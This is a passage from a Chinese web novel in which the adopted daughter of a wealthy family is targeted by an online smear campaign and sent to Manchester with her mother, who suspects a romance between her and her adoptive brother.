时憬点头,“没看,我放楼上了,都没带下来。”
兄长夸赞的摸了下她的头。
时憬察觉到陆礼今日的异常,忍不住问:“外面到底出了什么事?又是…关于我的么?”说着,她语气有些急切的解释:“我最近没做什么出格的事情,也没再见过白行,更没再去过夜店、酒吧了。”
陆礼:“是有人无中生有乱写了些东西扭曲事实,是冲着陆家来的,我们会处理干净,别担心。”他的语气仍旧温和,停留在她发顶的手收回,“刚确认过你的英国签证还在有效期,买了明天的机票,我们去曼城住几天。”
时憬愣怔。
到底出了什么事,竟然还需要把她送出去?
或许事情根本不像陆礼说的那么简单,只是无中生有扭曲事实,但她身上还能有什么事情能让陆礼着急的要让她出国?
……
“他被人杀害,至少被埋在地下九年以上!这是一起**抛尸的**!”
……
蒋警官的声音在时憬耳边炸开。
她眼瞳倏地睁大。
双手紧紧握住陆礼的胳膊,张口想问是不是父亲和妈妈的案子被传出去造成的?是不是他们给陆家带来了麻烦——
还未等她开口,陆母回家。
陆礼回头看。
时憬强行忍下到嘴边的询问声,看向陆母,叫了声妈妈。
陆母回应,视线越过半个客厅,看着站在门口的时憬,脸上的神色有些怪异。
第99章 吻上她的额头
妈妈的目光落在她身上,不似往常温柔,未见担忧,有些像是旁观在审视着她的言行举止,哪怕只有短短一瞬,也被时憬察觉。
她低头,看见自己抓着陆礼的手,立刻松开。
而这避嫌的动作,也落入陆礼眼中。
他温声嘱咐:“时憬,先上去收拾行李,等会儿我上去找你。”
时憬应了声好,又向陆母乖巧的说道,“妈妈,我先上去了。”语气带了些小心翼翼的讨好。
陆母扬起些微温和,“好。”
甚至没有当面询问儿子要带女儿去哪儿。
在时憬离开后,陆母换了个地方,语气严肃的问陆礼,“网上那些消息到底是怎么回事?”
陆礼:“都是些造谣起哄的,宣城那边的案子也还在调查中,法务和公关已经在跟进处理。”
陆母附和,“是…的确离谱。”但那些消息说的有根有据,还翻出来时憬出生的那一年,丈夫确实多次出差宣城参加各种会议,前后因果如此融洽,甚至连她都快相信网上说的才是真相,在回来的路上,她甚至想起了当年小产后伤了身体,不能再怀孕,丈夫得知这消息时的沉默,其中是否也有失落?
她不怀疑的丈夫对自己的深情。
但在她失去孕育能力后,陆氏集团只有陆礼一个继承人的情况下,丈夫也依旧能守住对自己的忠贞吗?
她甚至翻出合照,确认了丈夫与时憬的长相。
竟然能看得出有几分相似。
这份怀疑,像是阴暗中滋生的怪物,扭曲的盘踞在她的理智之上。
陆礼看着母亲沉默的面容,叫了一声,“您还在担心什么?”
陆母回神,不愿在儿子面前露出猜忌,“刚才听你让小憬收拾行李,是要去哪儿?”
陆礼解释了句:“带她去曼城住一段时间,等国内的风波过去后再回来。”按照时憬现在的情况,不能再受到更大的刺激了,出国能让她远离这些乌烟瘴气,对她病情恢复更好。
陆母:“这样也好,最近的确发生了太多事情,让她出去散散心也好。对了,你们突然过去,曼城那儿的房子能直接入住么?”
陆礼:“房子一直让人照顾着,偶而还会给生活拮据的留学生住宿。”
陆母颔首,“好,那你也快上去收拾行李,我等你爸回来。”
陆礼上楼,站在楼梯口,看向另一侧妹妹的房间。
仅犹豫了片刻,仍走了过去。
*
时憬上楼后,从衣帽间拉出来行李箱,摊开放在房间里,在往里面装衣物前,想着先确认下曼城的天气,找到了被她故意放在梳妆台上的手机。
她想,只要不看微信里的任**息就好。
指纹解锁。
屏幕亮起。
在她切入天气软件之前,通知栏跳出来一条推送。
【惊天秘闻!豪门陆氏私生女变养女】
时憬看着上面的陆氏二字,迟疑了下,陆礼和妈妈提及网上的事情,就是指这一条消息?这不是昨晚童宛发给她的新闻么?她甚至还能想起童宛的打趣,结果说的还真的是她?
但她根本不是爸爸的亲生女儿啊。
这么离谱的新闻也会有人信?
甚至陆礼还因为这事要让她躲去国外?
时憬咬唇想了下,点入推送,页面跳转,热度最高被置顶的是一条汇总九宫格。
一张张都是图文并茂的截图。
是整理了所有网友抽丝剥茧、寻找证据的过程。
【陆氏集团董事长陆观与原配妻子号称是豪门世家里的模范夫妻,也是出了名的恩爱,二人仅孕有一子陆礼即陆氏现任总裁陆礼,在十年前突然收养了一个叫时憬养女,陆家的这个符不符合情况?】
【嘶,这么说起来很可疑啊!】
【我去查了!这个养女和陆氏集团非情非故,突然之间就被带回了陆家,没多久陆观夫妻俩就开始带着她出入社交场合,如果说是从小养到大的养女,两人这么疼爱也就算了,时憬到陆家时都十五岁了,长的也不是多惊为天人,到底是怎么笼络人心的?】
【你们这就不知道了吧,神TM是养女,就是私生女!】
【???什么??陆观出轨了?】
【woc我查到了什么!这个养女是杭县人,陆观在十一年前去了好多次宣城参加各种会议……杭县就在宣城下面啊,越来越可疑了】
【别可疑了,就是私生女】
【造谣这种要负法侓责任的啊!】
【十多年前时憬的妈就在杭县的一个古镇里开民宿的,那边的人都知道,她爸妈是奉子成婚,肚子大了才结婚,结婚没多久他爸就欠款逃出去了,之后再没回来过】
【我证实,我有个朋友就是杭县的,小时候知道这家民宿!】
【你们想啊,老公都欠债逃出去了,她从哪儿来的钱开得起民宿?甚至还一个人把女儿抚养长大,这笔钱就是陆董事长给的!】
【感觉有点像是风流债啊,不小心出轨了,把实景妈的肚子搞大了,又不想带回家破坏家庭,就给了笔钱养着,后来估计也没啥感情】
【对时憬妈有没有感情不好说,好像是时憬妈过世没几天就被带回陆家了】
【这说不定才是陆董事长的真爱!肯定暗中关注着这对母女,所以才会在真爱过世后第一时间就把女儿接回去】
【我能证明陆是真的喜欢这个养女!再一次宴会上见过他们,那时候就感觉陆董事长超疼这个养女,我们还在羡慕呢,没想到居然是私生女!】
下面有人甩出来当时车祸的报道新闻。
【实景妈是车祸去世的?】
【居然还是酒驾???】
【她身上不止这些事情……我说出来都怕被封号……】
【楼上神神秘秘什么啊】
【宣城的应该知道些内幕】
【啊啊啊啊啊我知道了,好像是那块地里挖出来了一堆人骨,我叔有认识的朋友就在那个施工队里,说挖出来后立刻就**息不准透露了,但这个和陆家有啥关系啊】
【那就是时憬的爸!】
【???实景爸不是陆董事长吗?你别和我说现在的陆是假的?怎么越说越玄乎了,变成走近科学了?吓人!!】
【想什么呢,当然是时憬户口本上的爸啊!】
【凶手谁啊?】
【JF怀疑就是SJM】
【好像是男人知道女儿不是自己亲生的,拿着这个去威胁SJM敲诈,SJM为了能够带女儿回陆家,就动了手】
【沃草真的假的啊!这个女人好狠啊!】
【解决了就把人埋了……】
【吓尿,难怪觉得这个名字眼熟!!我TM以前住过SRF开的民宿!】
【真住过啊?口说无凭】
陆续有两个人甩了民宿的照片上来。
当时就觉得老板娘凶巴巴的不好沟通,提供的四件套都有一股味道,餐食也不新鲜。
甚至还说老板娘见到年轻男人就凑上去……
无数恶意、虚假的字眼,不断往宋桉身上堆叠,没多久,宋桉在这些人眼中就成了虚伪、谄媚、低贱、心狠手辣的女人。
连民宿也被恶意抨击。
时憬与白行厮混的照片被再度放了出来,那张合成的4P照片也在其中,成了所有网友诋毁、谩骂的对象。
这些恶意如化成实质,狰狞的从手机里爬出来,紧紧掐着她的脖子——
住口——
给我住口——
你们没有资格评论我妈妈——
不准诬蔑我妈妈——
不准伤害爸爸妈妈——
我是时明、宋桉的女儿——
我妈妈没有**——
她如坠冰窖,浑身都在颤抖,捧着手机,想要在登陆软件,想要证明所有人的清白!
可手指抖的无法打字。
眼前阵阵发黑,她甚至看不清手机的屏幕。
喉咙像被无数只手紧紧掐住!
她痛苦的喘息着,却怎么也吸入不了空气。
手机从手里跌落,身子佝偻着倒下——
“时憬…”
“时憬!”
陆礼敲门无人应答,直接开门。
看见妹妹背对着门跌坐在地上,脚边是屏幕朝下的手机,他立刻意识到发生了什么,快步冲到她面前,蹲下身,双手捧住妹妹冷的不正常的脸颊,她双目紧闭,牙齿紧紧咬着唇,咬的发白的唇透出死死血色,“不
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怕,时憬,是我,睁开眼看着我,我是陆礼。”
他的声音如此温柔。
温热的手掌试图温暖她的脸颊。
温热的指腹试图救出被咬破的嘴唇。
紧闭的眼睁开,空洞的眼底清晰印出陆礼的担忧,苍白的脸上没有一点恐惧,甚至连愤怒的痕迹都找不到。
这样空空如也的眼神,让陆礼紧张。
低声哄着的语气愈发温柔。
“小舟,”他柔声叫着她再无人知道的小名,“哭出来就好了,不要伤害自己,好么?”他的指腹流连在唇边,看着齿间染上血丝,他眼中浮现心疼。
时憬尝到了血腥味,松开下唇,轻声说着:“对不起,我又闯祸了……”眼神仍旧空洞,仍窥探不到任何痛苦与愤。
陆礼柔声安抚,“这些事情都不是你的错,时憬,你不需要向任何人道歉。”眼前妹妹的神情令他愤怒,他仔细呵护的女孩儿,被那些胡编乱造的文字如此伤害!但现在不是算账的时候,男人强行压下几欲**的怒火,指腹摩挲了下她的冰冷脸颊,拨开她脸上垂落的头发,动作温柔理在耳后,“不要再想你看到的那些东西,我和爸爸会处理好的。乖,能自己站起来么?去旁边坐着休息会儿,我来替你整理行李,好么?”
时憬只是看着他,睁着无神空洞的眼。
不做任何回应。
陆礼终于低下头,吻上她额头——
*
陆母在客厅坐了会儿,目光看着摆在一旁的全家福。
照片上的女孩儿穿着一身喜庆的红,挽着她的肩膀,头也靠着她,笑的阳光灿烂。
她没有看着时憬从小长大,但她看着她从小姑娘一点点长大成大姑娘,看着她同自己撒娇,看着她像雏鸟一样扑入她怀中,也因这个女孩,她知道了有女儿的母亲是如何的幸福。
小憬没有错。
突然被卷入这样的事情中,她一定害怕、不安极了,但自己却因那些过于真实言论、‘证据’而迁怒了她。
陆母闭眼,想起女儿上楼前那小心翼翼的语气,心底有些刺痛,再也坐不住,连忙上楼去。
她走的很快,走廊里铺着地毯,并未发出太大的声音。
她很快来到女儿门口。
门未关,半敞开着。
她伸手,将推门而入时,里面的一幕印入眼中。
陆礼双手捧着时憬的脸,低下头,唇印在她额头上——
轰——
陆母脑中一片空白。
眼前不断闪现她曾经看见的一幕幕。
有陆礼与时憬单独相处时锁上的房门,有他抱着浑身瑟瑟发抖的时憬,有他们两个比普通兄妹更亲昵的肢体动作……
她因陆礼有了女朋友,时憬有了男朋友,把这些忘的一干二净,而眼前的这一幕,让她再一次想起。
她绝不能容忍他们继续下去——
在陆母推门要闯进去时,从身后传来丈夫的呼唤声。
“若云?”
“若云?!”
呼唤声在楼梯口停下,陆父看见站在女儿房门口妻子的背影后,松了口气,迈着大步靠近:“若云,小憬时不时在房间里?”
陆母恍若未闻。
伸手推开门。
但丈夫的声音已经惊动了里面的人。
时憬的反应比陆礼更快一步,她用力的推开他,本就苍白的脸上又多了惊慌不安,她眼神晃颤着看向门口,撞上陆母的视线。
那样的陌生。
比楼下审视的那一眼更冷。
陆父走到房门口,扶着妻子的肩膀,敲了两下门才推门进去,“小憬,关于今天——”陆父顿了下,看见儿子也在女儿房里,反应倒不算太过意外,视线扫过地上摊开的行李箱,问了句:“收拾行李要去哪儿?”
陆礼站起身,回道:“明天我送她去曼城住几天。”
“这么安排也好。”陆父亦是赞同,目光疼爱的看向脸色明显不安的女儿,语气都软了几分,“网上那些新闻不要去看,哪怕不小心看了也不要往心里去,散播谣言的那些营销号爸爸一个都不会放过他们。家里和公司都有爸爸在呢,你就放宽心,和你哥哥出去散散心,等回来了什么事情都过去了。”
第100章 罔顾伦理廉耻生出男女之情
这句话,陆父是同时憬说的。
时憬声音僵硬地应了声好。
他未察觉到妻子的异样,把女儿的不安当成是被**吓到了,而他同样也未在陆礼照顾妹妹的举止中察觉出些什么。
陆母看着陆礼倒了一杯温水,递给妹妹,习惯性地摸了下她的头。
陆母浑身发凉,盯着二人。
从前她竟然不认为这些动作过于亲密。
在手掌落下时,时憬歪头避开,令那只手停在半空两秒后才被主人收回。
如非心虚,躲什么。
陆母眼底尽是冷意。
陆礼:“爸,等会儿我去书房找你。”
陆父:“我们先走,你再陪会儿妹——”
“我来陪小憬。”陆母突然开口,打断了陆父的话,朝时憬走去,“你们有事忙去好了。”
陆礼看了眼低头不语的妹妹,应了声好。
陆母走到时憬身边,疼爱地理了下她的头发,语气极为自然地说道:“对了,这次小憬出国我陪着去,陆礼就留在国内。”
陆礼离去的步子顿住,“机票已经买了。”
陆母温和地看向眼前高大的儿子,微微笑了下,“机票买了能退,国内现在这一摊事,你也不能都留给你爸爸处理。还有,你工作本来就忙,和心月见面的时间就不多,这一去十天半个月的,谈恋爱总是这样怎么能行。”
陆母的语气温柔,给出的理由却无法反驳。
陆礼:“那我送您和时憬在曼城住下再——”
“我说了,不用你去。”陆母再次打断,这一次一改刚才的语气,目光直射陆礼,态度强硬。
她鲜少在孩子们面前露出这样的情绪。
陆父这才发现妻子的异样,温声叫她:“若云?”
母子二人却谁也不肯退让。
时憬被陆母揽着,想起妈妈在门口看他们的眼神,浑身僵硬不敢有任何动作,生怕自己的一个动作,一个眼神,会让妈妈看出更多的端倪。
她也知道,现在的恐惧、不安,都是对她曾经自私的报应。
她身体微侧向陆母,轻声开口:“还是妈妈陪我去曼城吧。”
她的声音轻的,风一吹就能散开。
但在场无一人打断。
陆母握住她的手,眼中露出满意的欣慰来,“好。”
陆礼看了眼清瘦而立的妹妹。
看着她甚至不敢看自己。
胸口有一瞬的刺痛。
兄长喉结错动,挤出声音,也应了声好。
陆父的视线在三人间扫过,房间里的氛围不似往日温馨,变得陌生而僵硬,而这一切都是因妻子开口坚持要送女儿去曼城开始,**妻子为何要这样做,但在儿女面前,他需要维护妻子。
他清了清嗓子,“我们先去书房。”
陆家父子离开。
陆母松开时憬,蹲下身,确认行李箱里的东西,絮絮念叨:“今晚就得把东西收拾出来,捡要紧的带上,其他的缺什么,我们可以在当地补充。”
时憬:“好。”
陆母翻了下,“护照放随身包里,护肤品收拾好了拿过来,水乳精华洗面奶这些再准备个小样,也放在随身包里,飞机上也能用。”
像回到了时憬第一次乘坐长途飞机,那时候她也这样仔细的叮嘱。
时憬默默听着,去收拾东西。
将整理好的化妆包递去,陆母抬手接过,手托住包,却未握紧,时憬也不敢松手。
陆母屈膝蹲着,视线自下而上看着她,开口问:“妈妈不准让哥哥送你去曼城,你会怨妈妈么?”
时憬缓缓蹲下身,“不论妈妈做什么,我都不会怨您。”她试图挤出笑容,继续往下说,“是哥哥操心过度了,我都24岁了,还拿我当小孩子看。”
陆母眼中染回些许怜爱。
“那就好,我们小憬长大了。说起来陆礼还比你大六岁,这个年纪应该事业为重,但他好不容易谈上一个女朋友,你就不能孩子气继续缠着你哥了,知道么?”
温柔的说教声像是绵密的细针。
悄无声息的扎在疼到麻木的心脏上。
她回道,“知道,以后不会了。”
陆母温柔的摸了下她的头,时憬
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没有避开。
她总是知道如何能哄妈妈开心,正如眼下,她也知道自己说什么,妈妈才会对她放心,才会继续将她当成家人,而不是诱惑陆礼的陌生人。
她想要继续留在陆家。
她更不想伤害任何人。
陆母帮着时憬收拾好行李后,上楼回房去整理自己出行的衣物。
陆父听见妻子回来的动静,结束通话,走进衣帽间,接过她拿出来的衣物,叠好了放进箱子里。
陆母看了丈夫一眼,“有什么话就说。”
陆父干笑了声,说道:“这次就你和小憬两个人去曼城,小憬身体不好,你要顾着自己还要照顾她,我担心你吃不消,不如就让儿子送你们过去,落地安顿好后,再让他回来。”
陆母语气淡淡的说了句:“你还真是不心疼儿子。”
陆父:“我是心疼你,怕你路上辛苦。”
陆母:“这些话是儿子让你来劝的?”
陆父听她语气不对,握住妻子的手,“我们是夫妻,你在孩子们都开了口,我又怎么会听他们的话来劝你,儿子刚才除了工作,什么话都没说。”
陆母:“不用再说了,这次就我和小憬去。”
陆父皱眉,他知道妻子不会无缘无故做这样的决定,“我想不通,小憬是陆礼照顾着长大的,现在出了这样的事情,比起我们,陆礼陪着显然更能让孩子安心。”
陆母抽回手:“就是因为时憬是陆礼照顾长大的——”他们虽无血缘关系,但在她心目中,他们早已是血浓于水的兄妹,他们之间怎么能罔顾伦理廉耻生出男女之情?!这些话都到嘴边,陆母又一次忍住,这种事情越少人知道越好,在一发不可收之前,她要将两个孩子彻底分开,彻底断了他们的念头。她改了口,藏起私心:“小憬一个人带来的麻烦还不够多?为什么非要送她出去,不都是因为她?现在这个节骨眼,万一被人知道陆礼单独陪着她出国,又要闹出什么风波,对集团不知道造成多大影响?两相权衡孰轻孰重,这一点难道还要我说那么明白?”
第101章 她生来就是累赘
房门开着。
衣帽间的说话声传出来,在安静的门外,清晰的每一个字都能让人听见,拦住时憬的脚步。
她靠在走廊上,手里握着陆母落在她房里的手机。
脑中涌起无数思绪,却又像是什么都没有。
只是周身越来越冷。
随着寒冷,另一个念头浮现。
她好像给陆家带来的麻烦越来越多。
好像从小到大,她只会给人带来无尽的麻烦。
她是母亲的累赘,如果没有她,母亲早就能与父亲离婚,不用辛苦操劳那么多年,最后也不会在车祸中离世;她是陆礼的累赘,原本他只是想资助自己到成年,是她将陆礼当成浮木紧紧缠住,甚至自私的想要霸占他;她终于也成了陆家的累赘……
在房里声音再度传出来前,时憬离开。
无形的阴霾笼罩着陆家的餐桌,这一顿晚饭吃的极为沉默,时憬吃完后先上楼,陆母紧随其后,丝毫不给他们兄妹独处的机会。
这一晚,陆母也睡在时憬房中。
熄灯后,陆母很快入睡。
时憬在黑暗中睁着眼,毫无睡意。
她害怕闭上眼,那些恶意仿佛会从四周的黑暗里钻出来,缠住她四肢、躯干,勒住她的脖子,让她痛苦窒息。她想要开灯,灯光能驱散些恐惧,但不行——
妈妈在旁边。
妈妈已经睡着了。
她睁着干涩的眼,胳膊紧紧环抱着自己。
*
次日,陆家照例一起吃早饭。
时憬胃口不佳,吃得又少又慢,看得坐在对面的陆礼直皱眉头,在她放下筷子后,陆礼没忍住,夹了两个蒸饺放她碗里,“吃完再走。”
往常的时憬早就要插科打诨的说吃不下,或是等会儿吃,今天的时憬没有**半个字,慢吞吞嚼着咽下去,忍着胃里翻涌的恶心。
陆父见她吃完了,叮嘱道:“等会儿在上去检查下行李,别漏带了什么重要的东西。”
陆母附和:“护照、银行卡、手机、现金,这些最重要都再检查一遍,吃完上去休息会儿,中午老耿送我们去机场。”
陆礼放下筷子,“我送你们去机场。”
陆母张口就想拒绝。
陆父悄悄握了下妻子的手,道:“这次你陪着小憬出门,还不知道什么时候回来。如果不是上午有个会,我都想送你们去机场。现在儿子送你们,我也更放心。”
这一顿早餐开始,这是餐桌上最长的一段话。
陆母看着冷漠的儿子、沉默的女儿,从昨天起,家中就是这种氛围。或许是分别在即,陆母心软了些,不再坚持让老耿送他们。
吃过早饭,陆母上楼收拾随身行李。
时憬也回房。
在她反手关上门时,门外传来急促脚步声,紧接着门被顶住,她收回手,转头看去。
门外站着微微喘着气的兄长。
她心口骤然疼了下。
“哥。”
她没有后退半步,无声地将他挡在门外。
因为妈妈随时都会下来。
陆礼垂下视线,眼底神色沉浮,复杂到他自己也分辨不清楚,喉头干涩,最终说道:“等忙完就去曼城看你们。”
他的嗓音低沉。
这一句话像是承诺。
如果是从前的时憬,听见后还会故意扮可怜,眼泪汪汪地要他许诺多久来看自己,几天要视频一次。
现在的时憬,陷入泥潭,不敢再挣扎。
她回,“好。”
操心的兄长忍不住开始啰嗦:“在曼城遇到任何你处理不了的事情,不要一个人逞强,如果妈妈也解决不了,随时都可以来找我,知道吗?”
她回,“好。”
兄长仍在叮嘱:“好好吃饭,不要挑食,按时吃药,有任何不舒服的都要和秦天川说,嗯?”
她继续回:“好。”
眼前的妹妹听话乖巧,真的不再向他撒娇。
陆礼深深看她,薄唇张合,“时憬。”
她垂眸,未看他。
“我永远是——”
男人的嗓音似乎变了。
她终于抬头,逆着光,看着眼前的兄长。
“你的哥哥,所以不要用有任何顾忌,随时都可以来麻烦我。”这一句话,陆礼说得如此顺口自然。
眼前的兄长眉眼如此
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温柔。
她弯了弯眼,笑着回:“好。”
她有这样糟糕的人生,不要继续牵连他、不要自私地将他拖入地狱。
只有她一个人煎熬就足够了。
她不想再伤害陆家的每一个人。
如今的一切,都是她自私应得的报应,不值得任何人同情她,是她自作自受。
她仍深爱着陆礼,却不想再让他知道了。
两人的独处并未持续很久,陆母很快从楼上下来,见两人一里一外地站在门口说话,立刻打发陆礼忙去。
中午过后,陆礼开车送她们去机场。
一路上,陆礼都在叮嘱两人坐飞机、拿行李、落地出关,怕两人不会乘地铁,安排了人来接机,陆礼还不放心地问时憬,“艾丽卡你还记得么?她会在机场举牌子接你们的。”
时憬回了声记得。
办完行李托运到安检口外时,陆母便让他回去,自己带着时憬进去。
陆礼并未先走。
他站在原地,看着两人顺着人潮进入。
母亲还在回首与他挥手,让他回去。
跟在母亲身旁的妹妹却连一次头都没有回,这样故意与他疏离的妹妹让他如何能不担心?如果他继续坚持要随行,母亲最后也会退让同意,但时憬只会愈发沉默、疏离他。
或许——
让她暂时离开也好。
等他处理完这些事情,结束与楼心月的‘交往’,再去接妹妹回家。
陆礼一直等到机场大厅传来航班检票的提示才离开。
之后的每一天都被工作排满。
而这次**风波的影响力比想象中的更为棘手。
陆氏法务部出面发了律师函,再从沙市向宣城刑警大队施压,由他们出案件调查进度说明,已证明****,同时联系各大平台压热度、删除过激言论。
起先是有成效,热度明显下降。
但反效果很快出现。
网友矛头开始瞄准陆氏集团权力只手遮天,甚至连警方都能驱使,**风暴的性质陡然转变,其中也不排除对家出钱下场,导致这次公关危机愈发棘手,陆氏集团股票暴跌。
第102章 她要听妈妈的话
陆礼在曼彻斯特留学期间,曾购入一栋房龄比陆父还要大的独栋别墅。
老房看着美,但保暖性差、维修问题一大堆,重新装修也是一笔不菲的费用。
但胜在它周围治安好,环境好。
不远处就有一条湖,每到黄昏,晚霞美得让人驻足留恋,时憬过来小住时,陆礼常带着她到湖边散步。
八月底。
时憬与陆母在曼城小住。
当地气温已经褪去夏季炎热,早晚凉意袭来,时不时的阴雨天气更让这座古老的城市蒙上一层阴冷气息。
曼城当地华人圈广,陆母也曾在英国留学,有一二故友在曼城定居,她时常出门聚会,以此打发无聊时间。
时憬不喜阴雨天气,只有天气好时,才会和管理员艾丽卡一起出门购物。
艾丽卡是一位典型的英国女人,栗色微卷头发,中分,薄唇,性格冷淡但做事极为周到,将这栋老房子打理得分外温馨舒适。
在陆礼的同意下,这几年艾丽卡会以低廉的房子将楼上闲置的几个房间租给贫困学生。
在陆礼决定送时憬出来后,就不对外出租,三个租户陆续搬了出去。
听艾丽卡说,陆先生为表歉意,给了这三位贫困生一笔钱。
艾丽卡也说,陆先生是善良的企业家。
一如当初招聘穷困潦倒的她一样。
在提及陆礼时,艾丽卡不会掩饰感激。
这副表情像是尖锐的勾子,狠狠刺入时憬的心脏。
她脸色苍白地附和着道:“他也是我遇到最善良的亲人。”
她们都是接受陆礼善意的人,艾丽卡兢兢业业地管理着房子,只有她私自、无止境地利用这份善意。
在阴雨连绵的曼城,罪恶与愧疚控制不住地滋长。
而国内陆氏集团的情形也不乐观。
时憬失眠至天明,时常能听见妈妈打电话,提及陆氏现在遭遇的危机,妈妈叹息连连,安慰陆父注意身体,不要太过操劳。
也开始寸步不离地拿着手机。
不停地搜索国内的新闻。
她一遍遍看到杜撰的恶意攻击,陆氏遭受的危机、承受的损失,导致噩梦频繁。
药物副作用越来越明显。
失眠、盗汗、幻觉的症状没有减轻,甚至手会控制不住地微微颤抖。
直到她害怕在黑暗中入睡,仅能在阳光明媚时,蜷缩在房间阳光照到的地方,才能短暂入睡,她忽然意识到,这些症状可能不是副作用,而是她病情又加重了。
她不敢告知秦天川。
一旦秦医生知道了,肯定会让她立刻回国接受治疗,国内的风波还未过去,她也不敢向妈妈申请回国,而秦医生肯定也会将她的情况告诉陆礼,陆礼定会要求妈妈让她回来。
她羞耻于让父母知道她生病了。
也不想让妈妈知道她和哥哥更多的事情。
她害怕妈妈再露出那样冷漠的眼神。
所以,她忍一下就好,等到国内风波过去后,她再申请回去,这样,谁都不会受她影响。
她开始掩饰自己。
并且越来越熟练。
同一屋檐下的艾丽卡,甚至是妈妈都没察觉异样。
只是,她越来越瘦。
她强迫自己进食,吃多了后胃里又会难受地吐出来。
幸好她们也没有察觉,只当她是水土不服,艾丽卡开始学着做中餐,但味道有些一言难尽。
童宛知道她出国后,沉默片刻,笑着说‘出去也好’,又担忧地问她,“年底我的婚礼,十二月二十八号,你能回来了么?我还想让你当我的伴娘呢。”
时憬看着墙上的年历,“一定能。”
现在是九月中旬,距离十二月底还有三个月多,到那时应该一切都结束了。
她也能回家了。
童宛吹了声口哨,“霸气!”
但命运喜欢作弄人。
陆氏集团还未完全从公关危机缓过来,国际上爆出来新型材料安全问题,国内开始叫停新型材料生产,并禁止在安全问题得到解决前投入使用。
陆氏集团与楼家合作的项目就是生产新型材料的工厂。
这笔投入对陆氏来说不算什么,但在这儿节骨眼,陆氏集团再一次因新型材料工厂而被推到世人面前,陆氏集团树大招风,今年时运不遂,踩
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一脚的人家就更多了。网上针对工厂的设立杜撰出极为夸张的黑幕,影射陆氏集团根不正苗不红。
而与楼家合作建厂,促成新型材料合作方案的,正是陆父,陆父这大半辈子在事业上顺风顺水,将繁荣昌盛的陆氏集团交到儿子手上,却没想到,他退居二线前经手的最后一个项目,竟然会给陆氏招来这么大的风波。
陆父东西奔走,与新型材料领域的大拿见面,试图证明国际上爆出安全问题并不成立,但佐证困难,陆父焦急上火,再加上这段时间睡眠严重不足,在一次会议倒下,突发脑梗,紧急入院抢救。
陆母闻讯,立刻订当天机票回国。
时憬追上出门赶往机场的陆母,她手里抓着一个包,里面胡乱塞了护照、手机、充电宝,气喘吁吁道:“妈妈,我也跟您一起回去!”
陆母看着女儿急得都快哭出来,却将自己的手扯了回来。
她不怀疑小憬对丈夫的担忧。
陆氏现在面临的一切都因女儿而起。
她赌不起。
“你就留在曼城,听话。”陆母的语气带着命令的沉重,“妈妈回去还要照顾你爸,现在事情还没结束,实在分不出心思来照顾你。”
话音落,艾丽卡开的车已停在门外。
陆母头也不回地开门上车,“去机场,快!”
时憬看着车子离开,心口像是被什么狠狠碾过,痛得快喘不上气,她想说‘我可以自己照顾自己的’,她想说‘我会听话留在家里,不会给你们添麻烦’,她想说‘回去只看望爸爸’……但这些话都堵在喉咙口。
妈妈说的没有错,她回去只会给他们带来麻烦……
她要听话。
要听妈妈的话。
不能再给他们添麻烦了。
她要听话……
听话……
时憬僵硬地眨了下眼睛,沙哑地应了声,‘我知道了’。
陆母回国后的第五日,传来陆父转危为安的消息。
时憬站在落地窗前,抱着手机,看着妈妈发来的信息,止不住地落泪。
太好了。
太好了啊。
爸爸平安。
第103章 去曼城接你回家
时间一晃,进入了萧瑟十月。
曼城的天越来越冷,天黑得也越来越早,整座城市时常阴雨连绵,穿着立领风衣、打着大黑伞匆匆在城市间穿行的人变多了。
国内的所有人都那么忙碌。
时憬的手机越来越安静。
距离陆礼联系她,已经是半个月前的事情。
妈妈一个礼拜打电话来时,说哥哥揽过爸爸所有的工作,忙得恨不能住在公司,哪怕已经叫停工厂建设,但这事让陆氏集团受到影响极大,还有后续赔付、跟进,为了表明集团立场公正,都需要陆礼亲自出面。
楼家承受的损失更为惨重。
陆氏集团无法对楼家冷眼旁观,而清醒过来脱离危险的陆父也不会同意陆礼这么做。
楼家借此机会,开始依附陆氏集团。
只剩下童宛隔三岔五与时憬保持联系。
这一天午后,时憬结束和童宛的通话,下楼看见艾丽卡蹙着眉脸色凝重地站着接电话,挂电话后她长长叹气。
时憬未出声。
或许艾丽卡并不希望被她看到这一幕。
时憬打算悄声离开。
却不放艾丽卡突然转头,看见站在楼梯口的时憬,挤出笑脸,“需要来一杯红茶么?”
这是艾丽卡想要向人倾诉的信号。
时憬颔首,“谢谢。”
两人坐在客厅柔软的沙发里,茶杯里的茶汤飘出热气,带着些许红茶的香醇气味。
时憬捧着茶杯暖手。
艾丽卡开始说刚才那通电话,是一个可怜的贫困女学生打来的,她考上了曼大,学费是贷款的,无力再支付对她来说高昂的住宿费,打工也不能覆盖这笔支出,所以抱着希望再来申请入住别墅。
时憬看了眼安静的屋子,“妈妈回国了,我也只住一间房,还有好几间空房间,可以让她住进来的。”
艾丽卡为难:“陆先生说过,为了保障您的生活质量,不能对外继续出租。”
时憬的眼瞳晃了下。
捧着茶杯的手指收紧。
她轻声说,“艾丽卡,你不觉得这栋老房子**静了么?甚至安静得有些吓人,”她呢喃着,“妈妈离开后,只剩下我和你,晚上醒来时,安静得让人睡不着。”
艾丽卡听她说前半句,打算开口安抚这位胆小的女士。
但听到后半句时,她才意识到这些话并不是表达真正的害怕,浅瞳色的眼中生出感激之色:“我会向陆先生反馈这个情况的。”
时憬低下头,看着茶汤里扭曲丑陋的自己。
她又开始漫长的等待。
她捧着手机,等着它响起。
一天。
两天。
三天……
一天天过去,手机里只有童宛发来的消息,她好像是被爸爸妈妈哥哥他们遗忘了般。
她习惯了失眠,抱着膝盖蜷坐在床上,一整夜都看着枯燥的电视剧。
直到手机响起信息提示声。
她几乎是立刻捧起手机,终于看见了陆礼发来的信息。
【陆礼:时憬,醒来回电话】
短短一行字,她却珍惜地贴在胸口。
她没有被遗忘。
没有被抛弃。
直到手机发烫,她仍舍不得松开。
她换算着时差,现在是曼城的凌晨两点,国内则是上午十点,她不能在这个时间回过去电话,要等到曼城的上午九点,让她看来像是睡懒觉到九点才醒。
这一晚,她捧着手机,在房间里忽明忽暗的灯光里,生出一丝疲惫,太阳升起后,她蜷缩在睡了会儿,在九点时被闹钟叫醒。
她才回了信息。
【时憬:好】
然后,她起来洗漱。
等她准备换下睡衣时,手机弹出视频请求。
时憬将手机放在梳妆台上,她坐着,视线微低,点了接受。
屏幕上映出陆礼的脸,闯入时憬眼中。
他在车里,环境昏暗,暖黄调的光从头顶落下,视频的视角也是略低于人,像是手放在膝盖上拿着手机。
时憬藏起来的手攥紧,张口叫了声哥。
陆礼嗯了声,看着屏幕中的妹妹,“抱歉,这段时间很忙。你在曼城还习惯么?”
“嗯,已经习惯了。”她已经能如此自然地说着谎话,“爸爸好些了么?”
